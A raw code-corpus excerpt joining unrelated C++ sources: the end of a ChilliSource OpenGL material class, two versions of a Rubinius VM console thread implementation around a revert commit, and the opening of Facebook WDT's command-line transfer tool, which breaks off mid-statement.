GLShader* glShader) noexcept\n {\n CS_ASSERT(renderShaderVariables, \"Cannot apply null shader variables.\");\n CS_ASSERT(glShader, \"Cannot apply shader variables to null shader.\");\n \n for (const auto& pair : renderShaderVariables->GetFloatVariables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetVector2Variables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetVector3Variables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetVector4Variables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetMatrix4Variables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetColourVariables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n }\n }\n \n \/\/------------------------------------------------------------------------------\n void GLMaterial::Apply(const ChilliSource::RenderMaterial* renderMaterial, GLShader* glShader) noexcept\n {\n renderMaterial->IsDepthWriteEnabled() ? glDepthMask(GL_TRUE) : glDepthMask(GL_FALSE);\n renderMaterial->IsColourWriteEnabled() ? glColorMask(GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE) : glColorMask(GL_FALSE, GL_FALSE, GL_FALSE, GL_FALSE);\n\n if(renderMaterial->IsDepthTestEnabled())\n {\n glEnable(GL_DEPTH_TEST);\n glDepthFunc(ToGLTestFunc(renderMaterial->GetDepthTestFunc()));\n }\n else\n {\n glDisable(GL_DEPTH_TEST);\n }\n \n if (renderMaterial->IsFaceCullingEnabled())\n {\n glEnable(GL_CULL_FACE);\n glCullFace(ToGLCullFace(renderMaterial->GetCullFace()));\n }\n else\n {\n glDisable(GL_CULL_FACE);\n }\n \n if (renderMaterial->IsTransparencyEnabled())\n {\n glEnable(GL_BLEND);\n glBlendFunc(ToGLBlendMode(renderMaterial->GetSourceBlendMode()), ToGLBlendMode(renderMaterial->GetDestinationBlendMode()));\n }\n else\n {\n glDisable(GL_BLEND);\n }\n \n if(renderMaterial->IsStencilTestEnabled())\n {\n glEnable(GL_STENCIL_TEST);\n glStencilOp(ToGLStencilOp(renderMaterial->GetStencilFailOp()), ToGLStencilOp(renderMaterial->GetStencilDepthFailOp()), ToGLStencilOp(renderMaterial->GetStencilPassOp()));\n glStencilFunc(ToGLTestFunc(renderMaterial->GetStencilTestFunc()), (GLint)renderMaterial->GetStencilTestFuncRef(), (GLuint)renderMaterial->GetStencilTestFuncMask());\n }\n else\n {\n glDisable(GL_STENCIL_TEST);\n }\n \n s32 samplerNumber = 0;\n \n for (auto i = 0; i < renderMaterial->GetRenderTextures2D().size(); ++i, ++samplerNumber)\n {\n glShader->SetUniform(k_uniformTexturePrefix + ChilliSource::ToString(i), samplerNumber);\n }\n \n for (auto i = 0; i < renderMaterial->GetRenderTexturesCubemap().size(); ++i, ++samplerNumber)\n {\n glShader->SetUniform(k_uniformCubemapPrefix + ChilliSource::ToString(i), samplerNumber);\n }\n \n glShader->SetUniform(k_uniformEmissive, renderMaterial->GetEmissiveColour(), GLShader::FailurePolicy::k_silent);\n glShader->SetUniform(k_uniformAmbient, renderMaterial->GetAmbientColour(), GLShader::FailurePolicy::k_silent);\n glShader->SetUniform(k_uniformDiffuse, renderMaterial->GetDiffuseColour(), GLShader::FailurePolicy::k_silent);\n glShader->SetUniform(k_uniformSpecular, renderMaterial->GetSpecularColour(), GLShader::FailurePolicy::k_silent);\n \n if (renderMaterial->GetRenderShaderVariables())\n {\n ApplyCustomShaderVariables(renderMaterial->GetRenderShaderVariables(), glShader);\n }\n }\n }\n}\n<|endoftext|>"} {"text":"#include \"vm.hpp\"\n#include \"console.hpp\"\n\n#include \"object_utils.hpp\"\n\n#include \"builtin\/array.hpp\"\n#include \"builtin\/class.hpp\"\n#include \"builtin\/fsevent.hpp\"\n#include \"builtin\/string.hpp\"\n#include \"builtin\/thread.hpp\"\n\n#include \"dtrace\/dtrace.h\"\n\n#include \"util\/file.hpp\"\n#include \"util\/logger.hpp\"\n\n#include \n#include \n\n#include \n\n\/\/ read\n#include \n#include \n#include \n\nnamespace rubinius {\n using namespace utilities;\n\n namespace console {\n Object* console_request_trampoline(STATE) {\n state->shared().console()->process_requests(state);\n GCTokenImpl gct;\n state->gc_dependent(gct, 0);\n return cNil;\n }\n\n Object* console_response_trampoline(STATE) {\n state->shared().console()->process_responses(state);\n GCTokenImpl gct;\n state->gc_dependent(gct, 0);\n return cNil;\n }\n\n Console::Console(STATE)\n : AuxiliaryThread()\n , shared_(state->shared())\n , request_vm_(NULL)\n , response_vm_(NULL)\n , request_(state)\n , response_(state)\n , console_(state)\n , fsevent_(state)\n , request_fd_(-1)\n , response_fd_(-1)\n , request_exit_(false)\n , response_exit_(false)\n , request_list_(0)\n {\n shared_.auxiliary_threads()->register_thread(this);\n }\n\n Console::~Console() {\n shared_.auxiliary_threads()->unregister_thread(this);\n }\n\n void Console::wakeup() {\n request_exit_ = true;\n if(write(request_fd_, \"x\", 1) < 0) {\n logger::error(\"%s: console: unable to wake request thread\", strerror(errno));\n }\n }\n\n void Console::cleanup(bool remove_files) {\n if(request_fd_ > 0) {\n close(request_fd_);\n if(remove_files) unlink(request_path_.c_str());\n request_fd_ = -1;\n }\n\n if(response_fd_ > 0) {\n close(response_fd_);\n if(remove_files) unlink(response_path_.c_str());\n response_fd_ = -1;\n }\n\n if(request_list_) {\n for(RequestList::const_iterator i = request_list_->begin();\n i != request_list_->end();\n ++i)\n {\n delete[] *i;\n }\n\n delete request_list_;\n request_list_ = NULL;\n }\n }\n\n void Console::initialize(STATE) {\n request_exit_ = false;\n response_exit_ = false;\n\n list_lock_.init();\n response_lock_.init();\n response_cond_.init();\n\n std::string path(shared_.fsapi_path + \"\/console\");\n\n request_path_ = path + \"-request\";\n response_path_ = path + \"-response\";\n\n request_list_ = new RequestList;\n\n Module* mod = as(G(rubinius)->get_const(state, \"Console\"));\n Class* cls = as(mod->get_const(state, \"Server\"));\n console_.set(cls->send(state, 0, state->symbol(\"new\")));\n\n cls->set_const(state, state->symbol(\"RequestPath\"),\n String::create(state, request_path_.c_str()));\n cls->set_const(state, state->symbol(\"ResponsePath\"),\n String::create(state, response_path_.c_str()));\n }\n\n static int open_file(std::string path) {\n int fd = ::open(path.c_str(), O_CREAT | O_TRUNC | O_RDWR, 0666);\n\n if(fd < 0) {\n logger::error(\"%s: console: unable to open: %s\", strerror(errno), path.c_str());\n }\n\n return fd;\n }\n\n void Console::setup_files(STATE) {\n request_fd_ = open_file(request_path_);\n response_fd_ = open_file(response_path_);\n\n FSEvent* fsevent = FSEvent::create(state);\n fsevent->watch_file(state, request_fd_, request_path_.c_str());\n fsevent_.set(fsevent);\n }\n\n void Console::start(STATE) {\n initialize(state);\n setup_files(state);\n start_threads(state);\n }\n\n void Console::run(STATE) {\n if(request_.get()->fork_attached(state)) {\n rubinius::bug(\"Unable to start console request thread\");\n }\n\n if(response_.get()->fork_attached(state)) {\n rubinius::bug(\"Unable to start console response thread\");\n }\n }\n\n void Console::start_threads(STATE) {\n SYNC(state);\n\n \/\/ Don't start threads if we couldn't open communication channels.\n if(request_fd_ < 0 || response_fd_ < 0) return;\n\n if(!request_vm_) {\n request_vm_ = state->shared().new_vm();\n request_vm_->metrics()->init(metrics::eConsoleMetrics);\n request_exit_ = false;\n request_.set(Thread::create(state, request_vm_, G(thread),\n console_request_trampoline, true));\n }\n\n if(!response_vm_) {\n response_vm_ = state->shared().new_vm();\n response_vm_->metrics()->init(metrics::eConsoleMetrics);\n response_exit_ = false;\n response_.set(Thread::create(state, response_vm_, G(thread),\n console_response_trampoline, true));\n }\n\n if(request_vm_ && response_vm_) {\n run(state);\n }\n }\n\n void Console::stop_threads(STATE) {\n SYNC(state);\n\n if(request_vm_) {\n file::LockGuard guard(request_fd_, LOCK_EX);\n\n if(guard.status() == file::eLockSucceeded) {\n logger::error(\"%s: console: unable to lock request file\", strerror(errno));\n return;\n }\n\n wakeup();\n\n pthread_t os = request_vm_->os_thread();\n request_exit_ = true;\n\n void* return_value;\n pthread_join(os, &return_value);\n\n request_vm_ = NULL;\n }\n\n if(response_vm_) {\n file::LockGuard guard(response_fd_, LOCK_EX);\n\n if(guard.status() != file::eLockSucceeded) {\n logger::error(\"%s: unable to lock response file\", strerror(errno));\n return;\n }\n\n pthread_t os = response_vm_->os_thread();\n response_exit_ = true;\n\n response_cond_.signal();\n\n void* return_value;\n pthread_join(os, &return_value);\n\n response_vm_ = NULL;\n }\n }\n\n void Console::shutdown(STATE) {\n stop_threads(state);\n cleanup(true);\n }\n\n void Console::before_exec(STATE) {\n stop_threads(state);\n cleanup(true);\n }\n\n void Console::after_exec(STATE) {\n setup_files(state);\n start_threads(state);\n }\n\n void Console::before_fork(STATE) {\n stop_threads(state);\n }\n\n void Console::after_fork_parent(STATE) {\n start_threads(state);\n }\n\n void Console::after_fork_child(STATE) {\n if(request_vm_) {\n VM::discard(state, request_vm_);\n request_vm_ = NULL;\n }\n\n if(response_vm_) {\n VM::discard(state, response_vm_);\n response_vm_ = NULL;\n }\n\n cleanup(false);\n start(state);\n }\n\n char* Console::read_request(STATE) {\n file::LockGuard guard(request_fd_, LOCK_EX);\n\n if(guard.status() != file::eLockSucceeded) {\n logger::error(\"%s: console: unable to lock request file\", strerror(errno));\n return NULL;\n }\n\n char* buf[1024];\n\n lseek(request_fd_, 0, SEEK_SET);\n ssize_t bytes = ::read(request_fd_, buf, 1024);\n\n char* req = NULL;\n if(bytes > 0) {\n req = new char[bytes+1];\n memcpy(req, buf, bytes);\n req[bytes] = 0;\n request_vm_->metrics()->m.console_metrics.requests_received++;\n } else if(bytes < 0) {\n logger::error(\"%s: console: unable to read request\", strerror(errno));\n }\n\n if(lseek(request_fd_, 0, SEEK_SET) < 0) {\n logger::error(\"%s: console: unable to rewind request file\", strerror(errno));\n }\n if(ftruncate(request_fd_, 0) < 0) {\n logger::error(\"%s: console: unable to truncate request file\", strerror(errno));\n }\n\n return req;\n }\n\n void Console::process_requests(STATE) {\n GCTokenImpl gct;\n RBX_DTRACE_CONST char* thread_name =\n const_cast(\"rbx.console.request\");\n request_vm_->set_name(thread_name);\n\n RUBINIUS_THREAD_START(const_cast(thread_name),\n state->vm()->thread_id(), 1);\n\n state->vm()->thread->hard_unlock(state, gct, 0);\n state->gc_independent(gct, 0);\n\n while(!request_exit_) {\n Object* status = fsevent_.get()->wait_for_event(state);\n\n if(request_exit_) break;\n if(status->nil_p()) continue;\n\n char* request = read_request(state);\n\n if(request) {\n utilities::thread::Mutex::LockGuard lg(list_lock_);\n\n request_list_->push_back(request);\n response_cond_.signal();\n }\n }\n\n RUBINIUS_THREAD_STOP(const_cast(thread_name),\n state->vm()->thread_id(), 1);\n }\n\n void Console::write_response(STATE, const char* response, native_int size) {\n file::LockGuard guard(response_fd_, LOCK_EX);\n\n if(guard.status() != file::eLockSucceeded) {\n logger::error(\"%s: unable to lock response file\", strerror(errno));\n return;\n }\n\n if(lseek(response_fd_, 0, SEEK_SET) < 0) {\n logger::error(\"%s: console: unable to rewind response file\", strerror(errno));\n return;\n }\n if(ftruncate(response_fd_, 0) < 0) {\n logger::error(\"%s: console: unable to truncate response file\", strerror(errno));\n return;\n }\n\n if(::write(response_fd_, response, size) < 0) {\n logger::error(\"%s: console: unable to write response\", strerror(errno));\n }\n\n response_vm_->metrics()->m.console_metrics.responses_sent++;\n }\n\n void Console::process_responses(STATE) {\n GCTokenImpl gct;\n RBX_DTRACE_CONST char* thread_name =\n const_cast(\"rbx.console.response\");\n response_vm_->set_name(thread_name);\n\n RUBINIUS_THREAD_START(const_cast(thread_name),\n state->vm()->thread_id(), 1);\n\n state->vm()->thread->hard_unlock(state, gct, 0);\n state->gc_dependent(gct, 0);\n\n char* request = NULL;\n\n while(!response_exit_) {\n {\n utilities::thread::Mutex::LockGuard lg(list_lock_);\n GCIndependent guard(state, 0);\n\n if(request_list_->size() > 0) {\n request = request_list_->back();\n request_list_->pop_back();\n }\n }\n\n if(response_exit_) break;\n\n if(request) {\n Array* args = Array::create(state, 1);\n args->aset(state, 0, String::create(state, request));\n Object* result = console_.get()->send(state, 0, state->symbol(\"evaluate\"),\n args, cNil);\n\n if(String* response = try_as(result)) {\n GCIndependent guard(state, 0);\n\n write_response(state,\n reinterpret_cast(response->byte_address()),\n response->byte_size());\n }\n\n request = NULL;\n } else {\n utilities::thread::Mutex::LockGuard lg(response_lock_);\n GCIndependent guard(state, 0);\n\n response_cond_.wait(response_lock_);\n }\n }\n\n RUBINIUS_THREAD_STOP(const_cast(thread_name),\n state->vm()->thread_id(), 1);\n }\n }\n}\nRevert \"Lock when calling Console::stop_threads()\"#include \"vm.hpp\"\n#include \"console.hpp\"\n\n#include \"object_utils.hpp\"\n\n#include \"builtin\/array.hpp\"\n#include \"builtin\/class.hpp\"\n#include \"builtin\/fsevent.hpp\"\n#include \"builtin\/string.hpp\"\n#include \"builtin\/thread.hpp\"\n\n#include \"dtrace\/dtrace.h\"\n\n#include \"util\/file.hpp\"\n#include \"util\/logger.hpp\"\n\n#include \n#include \n\n#include \n\n\/\/ read\n#include \n#include \n#include \n\nnamespace rubinius {\n using namespace utilities;\n\n namespace console {\n Object* console_request_trampoline(STATE) {\n state->shared().console()->process_requests(state);\n GCTokenImpl gct;\n state->gc_dependent(gct, 0);\n return cNil;\n }\n\n Object* console_response_trampoline(STATE) {\n state->shared().console()->process_responses(state);\n GCTokenImpl gct;\n state->gc_dependent(gct, 0);\n return cNil;\n }\n\n Console::Console(STATE)\n : AuxiliaryThread()\n , shared_(state->shared())\n , request_vm_(NULL)\n , response_vm_(NULL)\n , request_(state)\n , response_(state)\n , console_(state)\n , fsevent_(state)\n , request_fd_(-1)\n , response_fd_(-1)\n , request_exit_(false)\n , response_exit_(false)\n , request_list_(0)\n {\n shared_.auxiliary_threads()->register_thread(this);\n }\n\n Console::~Console() {\n shared_.auxiliary_threads()->unregister_thread(this);\n }\n\n void Console::wakeup() {\n request_exit_ = true;\n if(write(request_fd_, \"x\", 1) < 0) {\n logger::error(\"%s: console: unable to wake request thread\", strerror(errno));\n }\n }\n\n void Console::cleanup(bool remove_files) {\n if(request_fd_ > 0) {\n close(request_fd_);\n if(remove_files) unlink(request_path_.c_str());\n request_fd_ = -1;\n }\n\n if(response_fd_ > 0) {\n close(response_fd_);\n if(remove_files) unlink(response_path_.c_str());\n response_fd_ = -1;\n }\n\n if(request_list_) {\n for(RequestList::const_iterator i = request_list_->begin();\n i != request_list_->end();\n ++i)\n {\n delete[] *i;\n }\n\n delete request_list_;\n request_list_ = NULL;\n }\n }\n\n void Console::initialize(STATE) {\n request_exit_ = false;\n response_exit_ = false;\n\n list_lock_.init();\n response_lock_.init();\n response_cond_.init();\n\n std::string path(shared_.fsapi_path + \"\/console\");\n\n request_path_ = path + \"-request\";\n response_path_ = path + \"-response\";\n\n request_list_ = new RequestList;\n\n Module* mod = as(G(rubinius)->get_const(state, \"Console\"));\n Class* cls = as(mod->get_const(state, \"Server\"));\n console_.set(cls->send(state, 0, state->symbol(\"new\")));\n\n cls->set_const(state, state->symbol(\"RequestPath\"),\n String::create(state, request_path_.c_str()));\n cls->set_const(state, state->symbol(\"ResponsePath\"),\n String::create(state, response_path_.c_str()));\n }\n\n static int open_file(std::string path) {\n int fd = ::open(path.c_str(), O_CREAT | O_TRUNC | O_RDWR, 0666);\n\n if(fd < 0) {\n logger::error(\"%s: console: unable to open: %s\", strerror(errno), path.c_str());\n }\n\n return fd;\n }\n\n void Console::setup_files(STATE) {\n request_fd_ = open_file(request_path_);\n response_fd_ = open_file(response_path_);\n\n FSEvent* fsevent = FSEvent::create(state);\n fsevent->watch_file(state, request_fd_, request_path_.c_str());\n fsevent_.set(fsevent);\n }\n\n void Console::start(STATE) {\n initialize(state);\n setup_files(state);\n start_threads(state);\n }\n\n void Console::run(STATE) {\n if(request_.get()->fork_attached(state)) {\n rubinius::bug(\"Unable to start console request thread\");\n }\n\n if(response_.get()->fork_attached(state)) {\n rubinius::bug(\"Unable to start console response thread\");\n }\n }\n\n void Console::start_threads(STATE) {\n SYNC(state);\n\n \/\/ Don't start threads if we couldn't open communication channels.\n if(request_fd_ < 0 || response_fd_ < 0) return;\n\n if(!request_vm_) {\n request_vm_ = state->shared().new_vm();\n request_vm_->metrics()->init(metrics::eConsoleMetrics);\n request_exit_ = false;\n request_.set(Thread::create(state, request_vm_, G(thread),\n console_request_trampoline, true));\n }\n\n if(!response_vm_) {\n response_vm_ = state->shared().new_vm();\n response_vm_->metrics()->init(metrics::eConsoleMetrics);\n response_exit_ = false;\n response_.set(Thread::create(state, response_vm_, G(thread),\n console_response_trampoline, true));\n }\n\n if(request_vm_ && response_vm_) {\n run(state);\n }\n }\n\n void Console::stop_threads(STATE) {\n SYNC(state);\n\n if(request_vm_) {\n wakeup();\n\n pthread_t os = request_vm_->os_thread();\n request_exit_ = true;\n\n void* return_value;\n pthread_join(os, &return_value);\n\n request_vm_ = NULL;\n }\n\n if(response_vm_) {\n pthread_t os = response_vm_->os_thread();\n response_exit_ = true;\n\n response_cond_.signal();\n\n void* return_value;\n pthread_join(os, &return_value);\n\n response_vm_ = NULL;\n }\n }\n\n void Console::shutdown(STATE) {\n stop_threads(state);\n cleanup(true);\n }\n\n void Console::before_exec(STATE) {\n stop_threads(state);\n cleanup(true);\n }\n\n void Console::after_exec(STATE) {\n setup_files(state);\n start_threads(state);\n }\n\n void Console::before_fork(STATE) {\n stop_threads(state);\n }\n\n void Console::after_fork_parent(STATE) {\n start_threads(state);\n }\n\n void Console::after_fork_child(STATE) {\n if(request_vm_) {\n VM::discard(state, request_vm_);\n request_vm_ = NULL;\n }\n\n if(response_vm_) {\n VM::discard(state, response_vm_);\n response_vm_ = NULL;\n }\n\n cleanup(false);\n start(state);\n }\n\n char* Console::read_request(STATE) {\n file::LockGuard guard(request_fd_, LOCK_EX);\n\n if(guard.status() != file::eLockSucceeded) {\n logger::error(\"%s: console: unable to lock request file\", strerror(errno));\n return NULL;\n }\n\n char* buf[1024];\n\n lseek(request_fd_, 0, SEEK_SET);\n ssize_t bytes = ::read(request_fd_, buf, 1024);\n\n char* req = NULL;\n if(bytes > 0) {\n req = new char[bytes+1];\n memcpy(req, buf, bytes);\n req[bytes] = 0;\n request_vm_->metrics()->m.console_metrics.requests_received++;\n } else if(bytes < 0) {\n logger::error(\"%s: console: unable to read request\", strerror(errno));\n }\n\n if(lseek(request_fd_, 0, SEEK_SET) < 0) {\n logger::error(\"%s: console: unable to rewind request file\", strerror(errno));\n }\n if(ftruncate(request_fd_, 0) < 0) {\n logger::error(\"%s: console: unable to truncate request file\", strerror(errno));\n }\n\n return req;\n }\n\n void Console::process_requests(STATE) {\n GCTokenImpl gct;\n RBX_DTRACE_CONST char* thread_name =\n const_cast(\"rbx.console.request\");\n request_vm_->set_name(thread_name);\n\n RUBINIUS_THREAD_START(const_cast(thread_name),\n state->vm()->thread_id(), 1);\n\n state->vm()->thread->hard_unlock(state, gct, 0);\n state->gc_independent(gct, 0);\n\n while(!request_exit_) {\n Object* status = fsevent_.get()->wait_for_event(state);\n\n if(request_exit_) break;\n if(status->nil_p()) continue;\n\n char* request = read_request(state);\n\n if(request) {\n utilities::thread::Mutex::LockGuard lg(list_lock_);\n\n request_list_->push_back(request);\n response_cond_.signal();\n }\n }\n\n RUBINIUS_THREAD_STOP(const_cast(thread_name),\n state->vm()->thread_id(), 1);\n }\n\n void Console::write_response(STATE, const char* response, native_int size) {\n file::LockGuard guard(response_fd_, LOCK_EX);\n\n if(guard.status() != file::eLockSucceeded) {\n logger::error(\"%s: unable to lock response file\", strerror(errno));\n return;\n }\n\n if(lseek(response_fd_, 0, SEEK_SET) < 0) {\n logger::error(\"%s: console: unable to rewind response file\", strerror(errno));\n return;\n }\n if(ftruncate(response_fd_, 0) < 0) {\n logger::error(\"%s: console: unable to truncate response file\", strerror(errno));\n return;\n }\n\n if(::write(response_fd_, response, size) < 0) {\n logger::error(\"%s: console: unable to write response\", strerror(errno));\n }\n\n response_vm_->metrics()->m.console_metrics.responses_sent++;\n }\n\n void Console::process_responses(STATE) {\n GCTokenImpl gct;\n RBX_DTRACE_CONST char* thread_name =\n const_cast(\"rbx.console.response\");\n response_vm_->set_name(thread_name);\n\n RUBINIUS_THREAD_START(const_cast(thread_name),\n state->vm()->thread_id(), 1);\n\n state->vm()->thread->hard_unlock(state, gct, 0);\n state->gc_dependent(gct, 0);\n\n char* request = NULL;\n\n while(!response_exit_) {\n {\n utilities::thread::Mutex::LockGuard lg(list_lock_);\n GCIndependent guard(state, 0);\n\n if(request_list_->size() > 0) {\n request = request_list_->back();\n request_list_->pop_back();\n }\n }\n\n if(response_exit_) break;\n\n if(request) {\n Array* args = Array::create(state, 1);\n args->aset(state, 0, String::create(state, request));\n Object* result = console_.get()->send(state, 0, state->symbol(\"evaluate\"),\n args, cNil);\n\n if(String* response = try_as(result)) {\n GCIndependent guard(state, 0);\n\n write_response(state,\n reinterpret_cast(response->byte_address()),\n response->byte_size());\n }\n\n request = NULL;\n } else {\n utilities::thread::Mutex::LockGuard lg(response_lock_);\n GCIndependent guard(state, 0);\n\n response_cond_.wait(response_lock_);\n }\n }\n\n RUBINIUS_THREAD_STOP(const_cast(thread_name),\n state->vm()->thread_id(), 1);\n }\n }\n}\n<|endoftext|>"} {"text":"\/**\n * Copyright (c) 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\/\/ Used in fbonly to add socket creator setup\n#ifndef ADDITIONAL_SENDER_SETUP\n#define ADDITIONAL_SENDER_SETUP\n#endif\n\n\/\/ This can be the fbonly (FbWdt) version (extended initialization, and options)\n#ifndef WDTCLASS\n#define WDTCLASS Wdt\n#endif\n\n\/\/ Flags not already in WdtOptions.h\/WdtFlags.cpp.inc\nDEFINE_bool(fork, false,\n \"If true, forks the receiver, if false, no forking\/stay in fg\");\n\nDEFINE_bool(run_as_daemon, false,\n \"If true, run the receiver as never ending process\");\n\nDEFINE_string(directory, \".\", \"Source\/Destination directory\");\nDEFINE_string(manifest, \"\",\n \"If specified, then we will read a list of files and optional \"\n \"sizes from this file, use - for stdin\");\nDEFINE_string(\n destination, \"\",\n \"empty is server (destination) mode, non empty is destination host\");\nDEFINE_bool(parse_transfer_log, false,\n \"If true, transfer log is parsed and fixed\");\n\nDEFINE_string(transfer_id, \"\",\n \"Transfer id. Receiver will generate one to be used (via URL) on\"\n \" the sender if not set explicitly\");\nDEFINE_int32(\n protocol_version, 0,\n \"Protocol version to use, this is used to simulate protocol negotiation\");\n\nDEFINE_string(connection_url, \"\",\n \"Provide the connection string to connect to receiver\"\n \" (incl. transfer_id and other parameters).\"\n \" Deprecated: use - arg instead for safe encryption key\"\n \" transmission\");\n\nDECLARE_bool(logtostderr); \/\/ default of standard glog is off - let's set it on\n\nDEFINE_int32(abort_after_seconds, 0,\n \"Abort transfer after given seconds. 0 means don't abort.\");\n\nDEFINE_string(recovery_id, \"\", \"Recovery-id to use for download resumption\");\n\nDEFINE_bool(treat_fewer_port_as_error, false,\n \"If the receiver is unable to bind to all the ports, treat that as \"\n \"an error.\");\nDEFINE_bool(print_options, false,\n \"If true, wdt prints the option values and exits. Option values \"\n \"printed take into account option type and other command line \"\n \"flags specified.\");\nDEFINE_bool(exit_on_bad_flags, true,\n \"If true, wdt exits on bad\/unknown flag. Otherwise, an unknown \"\n \"flags are ignored\");\nDEFINE_string(test_only_encryption_secret, \"\",\n \"Test only encryption secret, to test url encoding\/decoding\");\n\nDEFINE_string(app_name, \"wdt\", \"Identifier used for reporting (scuba, at fb)\");\n\nusing namespace facebook::wdt;\n\n\/\/ TODO: move this to some util and\/or delete\ntemplate \nstd::ostream &operator<<(std::ostream &os, const std::set &v) {\n std::copy(v.begin(), v.end(), std::ostream_iterator(os, \" \"));\n return os;\n}\n\nstd::mutex abortMutex;\nstd::condition_variable abortCondVar;\nbool isAbortCancelled = false;\nstd::shared_ptr setupAbortChecker() {\n int abortSeconds = FLAGS_abort_after_seconds;\n if (abortSeconds <= 0) {\n return nullptr;\n }\n LOG(INFO) << \"Setting up abort \" << abortSeconds << \" seconds.\";\n static std::atomic abortTrigger{false};\n auto res = std::make_shared(abortTrigger);\n auto lambda = [=] {\n LOG(INFO) << \"Will abort in \" << abortSeconds << \" seconds.\";\n std::unique_lock lk(abortMutex);\n bool isNotAbort =\n abortCondVar.wait_for(lk, std::chrono::seconds(abortSeconds),\n [&]() -> bool { return isAbortCancelled; });\n if (isNotAbort) {\n LOG(INFO) << \"Already finished normally, no abort.\";\n } else {\n LOG(INFO) << \"Requesting abort.\";\n abortTrigger.store(true);\n }\n };\n \/\/ Run this in a separate thread concurrently with sender\/receiver\n static auto f = std::async(std::launch::async, lambda);\n return res;\n}\n\nvoid setAbortChecker(WdtBase &senderOrReceiver) {\n senderOrReceiver.setAbortChecker(setupAbortChecker());\n}\n\nvoid cancelAbort() {\n {\n std::unique_lock lk(abortMutex);\n isAbortCancelled = true;\n abortCondVar.notify_one();\n }\n std::this_thread::yield();\n}\n\nvoid readManifest(std::istream &fin, WdtTransferRequest &req) {\n std::string line;\n while (std::getline(fin, line)) {\n std::vector fields;\n folly::split('\\t', line, fields, true);\n if (fields.empty() || fields.size() > 2) {\n LOG(FATAL) << \"Invalid input manifest: \" << line;\n }\n int64_t filesize = fields.size() > 1 ? folly::to(fields[1]) : -1;\n req.fileInfo.emplace_back(fields[0], filesize);\n }\n}\n\nnamespace google {\nextern GFLAGS_DLL_DECL void (*gflags_exitfunc)(int);\n}\n\nbool badGflagFound = false;\n\nstatic std::string usage;\nvoid printUsage() {\n std::cerr << usage << std::endl;\n}\n\nint main(int argc, char *argv[]) {\n FLAGS_logtostderr = true;\n \/\/ Ugliness in gflags' api; to be able to use program name\n google::SetArgv(argc, const_cast(argv));\n google::SetVersionString(Protocol::getFullVersion());\n usage.assign(\"WDT Warp-speed Data Transfer. v \");\n usage.append(google::VersionString());\n usage.append(\". Sample usage:\\nTo transfer from srchost to desthost:\\n\\t\");\n usage.append(\"ssh dsthost \");\n usage.append(google::ProgramInvocationShortName());\n usage.append(\" -directory destdir | ssh srchost \");\n usage.append(google::ProgramInvocationShortName());\n usage.append(\" -directory srcdir -\");\n usage.append(\n \"\\nPassing - as the argument to wdt means start the sender and\"\n \" read the\");\n usage.append(\n \"\\nconnection URL produced by the receiver, including encryption\"\n \" key, from stdin.\");\n usage.append(\"\\nUse --help to see all the options.\");\n google::SetUsageMessage(usage);\n google::gflags_exitfunc = [](int code) {\n if (FLAGS_exit_on_bad_flags) {\n printUsage();\n exit(code);\n }\n badGflagFound = true;\n };\n google::ParseCommandLineFlags(&argc, &argv, true);\n google::InitGoogleLogging(argv[0]);\n if (badGflagFound) {\n LOG(ERROR) << \"Continuing despite bad flags\";\n }\n \/\/ Only non -flag argument allowed so far is \"-\" meaning\n \/\/ Read url from stdin and start a sender\n if (argc > 2 || (argc == 2 && (argv[1][0] != '-' || argv[1][1] != '\\0'))) {\n printUsage();\n std::cerr << \"Error: argument should be - (to read url from stdin) \"\n << \"or no arguments\" << std::endl;\n exit(1);\n }\n signal(SIGPIPE, SIG_IGN);\n\n std::string connectUrl;\n if (argc == 2) {\n std::getline(std::cin, connectUrl);\n if (connectUrl.empty()) {\n LOG(ERROR) << \"Sender unable to read connection url from stdin - exiting\";\n return URI_PARSE_ERROR;\n }\n } else {\n connectUrl = FLAGS_connection_url;\n }\n\n \/\/ Might be a sub class (fbonly wdtCmdLine.cpp)\n Wdt &wdt = WDTCLASS::initializeWdt(FLAGS_app_name);\n if (FLAGS_print_options) {\n wdt.printWdtOptions(std::cout);\n return 0;\n }\n\n ErrorCode retCode = OK;\n\n \/\/ Odd ball case of log parsing\n if (FLAGS_parse_transfer_log) {\n \/\/ Log parsing mode\n WdtOptions::getMutable().enable_download_resumption = true;\n TransferLogManager transferLogManager;\n transferLogManager.setRootDir(FLAGS_directory);\n transferLogManager.openLog();\n bool success = transferLogManager.parseAndPrint();\n LOG_IF(ERROR, success) << \"Transfer log parsing failed\";\n transferLogManager.closeLog();\n return success ? OK : ERROR;\n }\n\n \/\/ General case : Sender or Receiver\n const auto &options = WdtOptions::get();\n std::unique_ptr reqPtr;\n if (connectUrl.empty()) {\n reqPtr = folly::make_unique(\n options.start_port, options.num_ports, FLAGS_directory);\n reqPtr->hostName = FLAGS_destination;\n reqPtr->transferId = FLAGS_transfer_id;\n if (!FLAGS_test_only_encryption_secret.empty()) {\n reqPtr->encryptionData =\n EncryptionParams(parseEncryptionType(options.encryption_type),\n FLAGS_test_only_encryption_secret);\n }\n } else {\n reqPtr = folly::make_unique(connectUrl);\n if (reqPtr->errorCode != OK) {\n LOG(ERROR) << \"Invalid url \\\"\" << connectUrl\n << \"\\\" : \" << errorCodeToStr(reqPtr->errorCode);\n return ERROR;\n }\n reqPtr->directory = FLAGS_directory;\n LOG(INFO) << \"Parsed url as \" << reqPtr->getLogSafeString();\n }\n WdtTransferRequest &req = *reqPtr;\n if (FLAGS_protocol_version > 0) {\n req.protocolVersion = FLAGS_protocol_version;\n }\n\n if (FLAGS_destination.empty() && connectUrl.empty()) {\n Receiver receiver(req);\n if (!FLAGS_recovery_id.empty()) {\n WdtOptions::getMutable().enable_download_resumption = true;\n receiver.setRecoveryId(FLAGS_recovery_id);\n }\n WdtTransferRequest augmentedReq = receiver.init();\n retCode = 